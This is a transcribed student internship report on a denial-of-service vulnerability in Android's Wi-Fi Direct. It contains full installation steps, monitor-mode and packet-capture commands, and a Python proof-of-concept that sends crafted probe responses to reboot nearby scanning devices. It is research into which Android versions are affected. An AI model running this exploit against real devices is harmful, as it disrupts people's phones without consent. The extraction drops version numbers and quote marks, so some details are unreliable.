MORAMPUDI RESHMA CHOWDARY Admn No: 2013JE0551 B.Tech Computer Science and Engineering

Transcription

1 A SUMMER INTERNSHIP PROJECT REPORT on SECURITY OF Wi-Fi DIRECT IN ANDROID BASED DEVICES Submitted By MORAMPUDI RESHMA CHOWDARY Admn No: 2013JE0551 B.Tech Computer Science and Engineering Under the Guidance of Dr. Rajib Ranjan Maiti Assistant Professor, IDRBT, Hyderabad July 2015

2 CERTIFICATE This is to certify that the summer internship project report entitled Security of Wi-Fi Direct in Android based devices submitted to Institute for Development & Research in Banking Technology [IDRBT], Hyderabad is a bonafide record of work done by Morampudi Reshma Chowdary, Admn no. 2013JE0551, B.tech Computer Science and Engineering, Indian School of Mines, Dhanbad under my supervision from 9th May, 2015 to 8th July, 2015 Dr. Rajib Ranjan Maiti, Assistant Professor IDRBT, Hyderabad.

3 Acknowledgement I would like to express my sincere gratitude to the Institute for Development and Research in Banking Technology (IDRBT) and particularly Dr. Rajib Ranjan Maiti who was my guide for this project. This opportunity of learning about Computer Network and getting to know various ways of device to device communication was a boon to me as one rarely gets such exposure. I would like to add that this short period in IDRBT has added a different facet to my life as this is a unique organisation being a combination of academics, research, technology, communication services, crucial applications etc,. I am extremely grateful to Dr. Rajib Ranjan Maiti for his advice, innovative suggestions and supervision. I thank him for introducing me to this excellent area of Computer Networks for research. I am thankful to IDRBT for providing such an amazing platform for students, like me, to work in real application oriented research. I thank one and all who made this project successful either directly or indirectly. Morampudi Reshma Chowdary, ISM Dhanbad Project Trainee IDRBT Hyderabad.

4 Abstract Table of Contents 1. Introduction 1.1 Android versions supporting Wi-Fi Direct Device Discovery Procedure Service Discovery Procedure Group Owner Negotiation Message Exchange Group Formation Procedure WPS Provisioning and Address Configuration Tests of Vulnerability 2.1 Denial of Service Attack Tools Required for the attack 7 3. Procedure Proof of Concept code data format Observations Conclusion References..22 Abstract Wi-Fi Direct initially called Wi-Fi Peer to Peer is a Wi-Fi standard enabling devices to easily connect with each other without requiring a wireless access point. With the increasing benefits of direct device to device communication that is provided by Wi-Fi Direct, most of the Android Phones are deployed with the Wi-Fi Direct feature. But there is a serious vulnerability in many Android versions when they are communicating through Wi-Fi Direct. An attacker can perform Denial of Service attack on any of the device which is scanning for other Wi-Fi Direct devices, this attack is manifested with the rebooting of the device, which is attacked by the attacker. So, this causes dangerous situations which may lead to crashing of the operating system of the Android devices. In this paper we have tested all the devices which have Wi-Fi Direct feature and came up with a solution that which versions of the Android are safer to use while we are communicating through Wi-Fi Direct though an attacker tries to attack the device. For this purpose we have use the Proof of Concept code of the Android Wi-Fi Direct Denial of Service Vulnerability.

5 1. Introduction: WI-FI direct is a new technology defined by the WI-FI alliance aimed at enhancing direct device to device communication without requiring a third party wireless Access Point. WI-FI direct builds upon the successful IEEE infrastructure mode and lets devices negotiate who will take the AP-like functionalities. Direct peer to peer connectivity was already possible in original IEEE standard, but it contains many drawbacks such as lack of power saving or extended Quality of Service capabilities. The speed of communication using WI-FI direct is up to 250Mbps which is much higher than Bluetooth. The range of WI-FI direct is about 200 feet. Devices that are currently using WI-FI direct includes smart mobile devices, wireless printers, laptops, televisions etc. It is used for sharing files, images and for displaying miracast images. However, using WiFi Direct in mobile device imposes a degree of security challenges as it can be used for exchanging some security sensitive files such as bank statements, important images, so on. In this project, we investigate the security vulnerabilities on WiFi Direct protocol implemented in smart mobile phones. 1.1 Android Versions Supporting Wi-Fi direct: Nexus 5 - Android Nexus 4 - Android LG D806 - Android Samsung Android version 4.2.2, version 5.0.1, version and above versions. 1.2 Device Discovery Procedure

6 1.3 Service Discovery Procedure 1.4 Group Owner Negotiation Message Exchange 1.5 Group Formation Procedure

7 1.6 WPS Provisioning and Address Configuration WPS Provisioning Address Configuration Authentication request Authentication response DHCP Discover DHCP Offer DHCP Request DHCP ACK 2. Test of vulnerability: 2.1 Denial of Service attack: It is an attempt to make a device or resource unavailable to its intended users. In WI-FI Direct DoS attack makes the WI-FI Direct device which is scanning for other WI-FI direct device to reboot. Communicating P2P Device1 through wifi direct P2P Device2 (D1) (D2) DoS Attacker (A1) In the above scenario A1 makes a DoS attack on D2 2.2 Tools required for the Denial of service attack (DOS): Two Wi-Fi Direct enabled android devices (version>5.0) Two Wi-Fi Direct enabled android device (version<5.0) Laptop or system which acts as an attacker. Proof of concept code 3. Procedure: To run Proof of concept code for Denial of Service attack in WI-FI DIRECT: This the Proof of Concept code: Get the PoC from In Kali linux, open the terminal To run as a root

8 Store PoC code in a python file called poc.py, and place it in desktop The packages needed to install are the following: For Down loading m4: Open the terminal then Run the command below wget ftp://ftp.gnu.org/gnu/m tar.gz Extract the file from downloaded m4 package tar xvzf m tar.gz Enter the directory where the downloaded m4 package is extracted cd m Configure downloaded m4 package./configure Install the package make && make install cd.. cd.. is used to get out of the present working directory. Download Bison Run the command below wget Extract file from downloaded Bison package tar xvzf bison-2.3.tar.gz Enter the directory where the downloaded bison package is extracted cd bison2.3 PATH=$PATH: /usr/local/bin/ cd.. Configure downloaded m4 package./configure Install the package make && make install Download libnl Extract file from downloaded libnl package

9 cd.. tar xf libnl tar.gz Enter the directory where the downloaded libnl package is extracted cd libnl Configure downloaded package./configure --libdir =/usr/lib Install the package make && make install Download libpcap Extract file from downloaded libpcap package tar xf libpcap tar.gz Enter the directory where the downloaded libpcap package is extracted cd libpcap Configure downloaded package./configure libdir=/usr/lib Install the package make && make install cd.. Install necessary software to build lorcon2 and pylorcon2. apt-get install libpcap-dev libnl-dev pythondev Download lorcon git clone Enter the directory where Lorcon is downloaded cd lorcon Configure the package./configure --libdir=/usr/lib Install lorcon make && make install cd.. Download pylorcon2

10 Enter the directory where PyLorcon2 is downloaded cd pylorcon2 Build the package Python setup.py build Install the package Python setup.py install cd.. Download the installation package of airdrop-ng svn co Aircrack-ng is an WEP (Wired Equivalent Privacy) and WPA-PSK (Wi-Fi Protected Access- Pre Shared Key) keys cracking program that can recover keys once enough data packets have been captured. Install the launcher airdrop-ng/old-installers/install.py Answer y to all the questions Continue with the installer? (y/n): y Install airdrop-ng? (y/n) : y Would you like to install lorcon? (y/n) : y Would you like to install pylorcon? (y/n): y Clean up? (y/n): y The above questions are popped up on the terminal when you are trying to run the command. Updates the airodump-ng-oui File airodump-ng-oui-update Enter the directory where the airdrop-ng package is downladed cd airdrop-ng Move the airdrop-ng file in /usr/bin and the application in it airdrop cd-bg mv airdrop /usr/bin/airdrop mv airdrop-ng /usr/bin/airdrop-ng After installing all the above packages run the following commands

11 LD_LIBRARY_PATH is the predefined environmental variable in Linux which sets the path which the linker should look in to while linking dynamic libraries/shared libraries. LD_LIBRARY_PATH =/usr/local/lib Export LD_LIBRARY_PATH Enter the directory where the poc is placed cd Desktop python poc.py -> This is the file where PoC is saved. Checks for the interfering processes and kills off them airmon-ng check kill Enables the monitor mode airmon-ng start wlan0 airodump-ng displays a list of detected access points, and also a list of connected clients airodump-ng wlan0mon Inject PoC by running the below command python poc.py wlan0mon MAC address MAC address in the above line is the BSSID in the list obtained when airodump-ng wlan0mon is executed and make sure that BSSID is taken for which column probes contains DIRECT. Airmon-ng: Airmon-ng script is used to enable the monitor mode on wireless interfaces. The monitor mode allows a device to capture the frames without having to associate with an AP. When you run the airmon-ng script, it gives the wireless card name such as wlan0. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng commands without parameters will show the interface status. The airmon-ng start wlan0 command will start wlan0 monitor mode, and mon0 captures wireless packets. Usage: airmon-ng <start stop> <interface> [channel] or airmon-ng <check check kill> <start stop> indicates if you wish to start or stop the interface <interface> specifies the interface [channel] optionally set the card to a specific channel <check check kill> check will show any processes that might interface with the aircrack-ng suite. It is strongly recommended that these processes be eliminated prior to using the aircrack-ng suite. check kill will check and kill off processes that might interfere with the aircrack-ng suite.

12 Airdrop-ng It is a Rule Based Wireless De authentication Tool. Description: Airdrop-ng is a program used for targeted, rule based de authentication of users. It can target based on MAC address, type of hardware, (by using OUI lookup, IE, APPLE devices) or completely de authenticate ALL users. Lorcon and pylorcon are used in the transmission of the de authentication packets Dependencies Supports Python 2.6 and may support 2.5 and 2.4 versions 1. Lorcon version 1 2. Pylorcon 3. A lorcon supported wireless card with monitor mode and injection PyLorcon2 is a wrapper for the Lorcon2 library Lorcon2 (Loss of Radio Connectivity) is a generic library for injecting frames, capable of injection via multiple driver frameworks, without forcing modification of the application code for each platform/driver. Requirements: Python >= 2.5 and Lorcon2 are required to build PyLorcon2 airodump-ng is used for packet capturing of raw frames and is particularly suitable for collecting WEP IVs (initialization vector) for the intent of using them with aircrack-ng. airodumpng writes out several files containing the details of all access points and clients seen. 3.1 Proof of Concept code: import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += \x50\x00 frame += \x00\x00 # Data Packet or Ethernet Frame # Frame Control # Duration of the frame frame += destination frame +=source frame += source same) #BSSID (In WI-FI Direct source address and BSSID of access point are

13 frame += \x00\x00 #Sequence control frame += \x00\x00\x00\x00\x00\x00\x00\x00 #Timestamp frame += \x64\x00 frame += \x30\x04 #Beacon Interval #Capabilities Information # SSID IE frame += \x00 frame += \x07 frame += DIRECT- SSID: Present in all Beacons, probe requests, probe response, association request, association response. Element ID is 0 for SSID IE. SSID could have maximum of 32 characters. Parameters in SSID Information Element: Element ID: 0 SSID [36] Length: 7 [37] SSID: variable length (in this case DIRECT is used) # Supported Rates frame += \x01 frame += \x08 frame += \x8c\x12\x98\x24\xb0\x48\x60\x6c Supported Rates: This is present in Beacons, probe request, probe response, association request, association response, authentication request, authentication response. It is an 8 octet field where each octet describe a single supported rate. Last bit (7 th ) of each octet indicate whether the data rate is basic rate or mandatory or supported rate.if the 7 th bit is 1 it indicates a basic rate where as if value is 0 it indicates a supported rate. The next 7 bits (0-6) specify the data rate value.expansion of Supported Rate of a Beacon. It has Parameters present in Supported rates of Beacon Frame: Element ID: 1 Length: 8 Supported Rates: variable length. # DS Parameter Set frame += \x03 frame += \x01 frame +=struct.pack( B,channel) # P2P frame += \xdd

14 frame += \x27 frame += \x50\x6f\x9a frame += \x09 #P2P Capabilities frame += \x02 frame += \x02\x00 #ID #Length frame += \x21\x00 # P2P Device Info frame += \x0d frame += \x1b\x00 #ID #Length frame += source frame += \x01\x88 frame += \x00\x0a\x00\x50\xf2\x04\x00\x05 frame += \x00 frame += \x10\x11 frame += \x00\x06 frame += fafa\xfa\xfa return frame def str_to_mac(address): return.join(map(lambda i: chr(int(i,16)), address.spilt( : ))) #A lambda creates an anonymous function without a name. A lambda may have any number of arguments. The above function str_to_mac(address) converts the string to MAC address format like aa:bb:cc:dd:ee:ff if name == main : if len(sys.argv)!=3: print Usage: print poc.py <iface> <target> print Example: print poc.py wlan0 00:11:22:33:44:55 sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) #this gives the destination address context = PyLorcon2.Context(iface)

15 context.open_injmon() channel = 1 #the attacker sends the frames through this channel source = str_to_mac( 00:11:22:33:44:55 ) #this gives the source address in the MAC format frame =get_probe_response(source, destination, channel) print Injecting PoC. for i in range(100): context.send_bytes(frame) time.sleep(0.100) #sends response to the probe request made by the WI-FI DIRECT device in the form of frames. If the Device receiving the probe response is vulnerable to these frames it reboots. 3.2: data format: The three major types of frames that exist in are Data frame Control frame Management frame These frames are assisted by the MAC layer. Beacon frame Structure: MAC header 1. Frame Control 2. Duration ID 3. Address 1 (Probe request receiver address) 4. Address 2 (Probe request transmitted address) 5. Address 3 6. Sequence control 7. Address 4 Address 1 is the Destination address, Address 2 is the Source Address, Address 3 is BSSID of the Access Point. In WI-FI DIRECT any one of the Address 1 or Address 2 acts as the BSSID of the Access point. This happens so because one of the devices acts as the Access point in a Peer to Peer Group. Management Frame:

16 Authentication frame, De authentication frame, association request frame, disassociation frame, probe request frame, probe response frame. Connection between clients and Aps is established by the exchange of various frames. Beacon frame: The access point periodically sends a beacon frame to advertise its presence. The beacon frame contains information such as SSID, channel number, BSSID, and so on. Probe request: The wireless device (client) sends out a probe request to determine which Aps are in range. The probe request contains elements such as the SSID of the AP, supported rates, vendor specific information, and so on. The clients sends the probe request and waits for the probe response for some time. Probe response: In the response of the probe request, the corresponding AP will responds with a probe response frame that contains the capability information, supported rates and so on. Authentication request: The client sends the authentication request frame that contains its identity Authentication response: The access point responds with an authentication, which indicates acceptance or rejection. If shared key authentication exists, such as WEP, then the AP sends a challenge text in the form of an authentication response. The client must send the encrypted form of the challenged text in an authentication frame back to the AP. Association request: After successful authentication, the client sends an association request that contains its characteristics, such as supported data rates and the SSID of the AP. Association response: AP sends an association response that contains acceptance or rejection. In the case of acceptance, the AP will create an association ID for the client. Mandatory fields in beacon frame: SSID: It is a 0-32 alphanumeric unique identifier for a wireless LAN, it is human readable, and simply put, it is the network name. BSSID: It is the MAC address of the wireless Access Point Channel number: This represents the range of radio frequency used by the Access Point for transmission. Timestamp (8 byte) Beacon interval (2 byte) Capability info (2 byte) SSID (variable size) Supported Rates (variable size) The scenario when Wi-Fi direct device scans for other Wi-Fi direct device and the attacker trying to attack that device: When a Wi-Fi Direct enabled device scans for another Wi-Fi Direct enabled device the device sends some probe requests for scanning through channels.

17 At this spur of time an attacker aiming at attacking the Wi-Fi direct device sends a specially crafted probe response frame causing the Dalvik subsystem of Wi-Fi direct device to reboot because of an unhandled exception on Wi-Fi monitor class. DALVIK: It is a discontinued process virtual machine in Google s Android operating system that executes applications written for Android. Dalvik is an integrated part of the Android software stack in Android version 4.4 and earlier, which is typically used on Android mobile phones. Programs for Android are typically written in Java and compiled to bytecode for the Java virtual machine, which is then translated to Dalvik bytecode and stored in.dex (Dalvik Executable) and.odex (Optimized Dalvik Executable) files. The odex file is run on Dalvik virtual machine and output is generated. The Proof of Concept code is implemented using the open source library Lorcon and PyLorcon2, a Python wrapper for the Lorcon library. If the attacker sends a malformed wpa_supplicant value then the Android s Wi-Fi P2P Device class throws an Illegal Argument Exception, crashing the device: a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the Illegal Argument Exception. Android makes use of a modified wpa_supplicant in order to provide an interface between the wireless driver and the android platform framework. The Wi-Fi Direct specification defines the P2P discovery procedure to enable P2P devices to exchange device information, the device name is part of the information. wpa_supplicant is a cross-platform supplicant with support for WEP, WPA and WPA2 (IEEE i / Robust Secure Network). It is suitable for desktops, laptops and embedded systems. wpa_supplicant is the IEEE 802.1X/WPA component that is used in the client stations. It implements key negotiation with a WPA authenticator and controls the roaming and IEEE authentication/association of the wireless driver. In Kali linux open the terminal, follow the steps below. Give the path where all the directories are stored. Create the environment. The command used is LD_LIBRARY_PATH=/usr/local/lib/ export LD_LIBRARY_PATH Enter the directory where the python code is stored. cd Desktop 4. Observations: Check for the interfering processes, if any process is found interfering kill the process. airmon-ng check kill Enable the monitor mode airmon-ng start wlan0 FIGURE-1

18 Run the command airodump-ng wlan0mon Observe what is happening for atleast 10 minutes. airodump-ng displays a list of detected access points. In figure-2 BSSID represent the MAC addresses of the devices which are in the vicinity of the network the laptop or system you are using. The laptop here serves as an attacker sends the Beacons to the devices in the BSSID list. Observe in the figure that in column CH 1,6,11 channels are mainly used.the reason is that these channels are non-overlapping channels and are known as social channels. In ENC, it is specified that by which method the data is encrypted.essid is the name of the networks in the proximity of the device on which you are running the airodump command.

19 FIGURE-2 In AUTH column PSK indicates Pre Shared Key.It keeps on sending the beacons the process never stops.in Figure-3 it is observed that some devices are sending probe requests In column Probe, the device with Probe as DIRECT confirms that it is sending probe requests that means it is scanning for other DIRECT devices in its range. Run the command python poc.py MAC address MAC address in the above command is the value that is against DIRECT in the column STATION. When we run the above command what it does is it sends response to the probe what the WI-FI DIRECT device as sent. The attacker s motto is to reboot the WI-FI DIRECT device. So the response that is send injects the proof of concept code into the WI-FI DIRCT devices this code throws an exception when the WIFI- DIRECT code is executed which causes the Dalvik subsystem to reboot. FIGURE-3

20 Scenario 1: Device1 Android version Scanning for WI-FI Device Device2 Android version Injecting Poc DoS Attacker Device1 is rebooted. Scenario 2: Device1 Android version Injecting Poc Scanning for WI-FI Device DoS Attacker Device2 Android version In the above scenario device1 is not rebooted and the two devices device1 and device2 can communicate with each other.

21 Scenario 3: Device1 Android version Injecting Poc Scanning for WI-FI Device DoS Attacker Device2 Android version In the above scenario the device1 is rebooted. Scenario 4: Device1 Android version Injecting Poc Scanning for WI-FI Device DoS Attacker Device2 Android version In the above scenario device1 is not affected and the two devices device1 and device2 communicated through WI-FI Direct. 5. Conclusion In this study, we investigated the denial of service attack vulnerability in device to device communication using WIFI direct protocol. We consider Android based mobile devices (Samsung Galaxy Note 2) and different versions of Android that implements WIFI Direct for the same. Our objective is to ensure that the devices using WIFI Direct services communicate safely even in presence of adversary across different versions of Android. In this direction, two android versions are considered, versions and versions 5.1.1, and an attacker that launches a denial of service attack to one of these devices that are running one of the two versions of Android. It is observed that the attacker can successfully launch the attack on WIFI Direct in Android whenever it tries to communicate with another device with Android or A successful attack gets manifested in terms of device rebooting. However, the attack is not successful when it is targeting a device with Android 5.1.1, in fact, such a device can properly perform communication with any other device irrespective of whether it is using Android or Hence, the devices running android version or later are not vulnerable to the kind of denial of service attack we have considered. 6. References [1] IEEE Standard, Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) Specifications, [2] J.R. Jiang, Y.C. Tseng C.S. Hsu and T.H. Lai.(2005)Quorum-based asynchronous powersaving protocols for ad hoc networks

22 [3] Wi-Fi Alliance, P2P Technical Group, Wi-Fi Peer-to-Peer (P2P) Technical Specification v1.0, December [4] Wi-Fi Alliance, Wi-Fi Protected Setup Specification v1.0h, Dec [5] u Wireless LAN Medium Access Control (MAC) and Physical Layer (PHY) specifications Amendment 9: Interworking with External Networks. [6] Wi-Fi Alliance R. Technical Committee (2012). Wi-Fi Direct Services Task Group. Wi-Fi Direct Services Draft Technical Specification Version 0.5. [7] D. Camps-Mur, A. Garcia-Saavedra, and P. Serrano, Device to device communications with wifi direct: overview and experimentation, IEEE Wireless Communications Magazine, [8] R. H. Kravets, Enabling social interactions off the grid, Pervasive Computing, IEEE, vol. 11, no. 2, pp. 8 11, [9] S. Viehb ock, Brute forcing wi-fi protected setup, Wi-Fi Protected Setup. Retrieved March, [10] y.com/advisories/android-wifi-direct-denial-service

23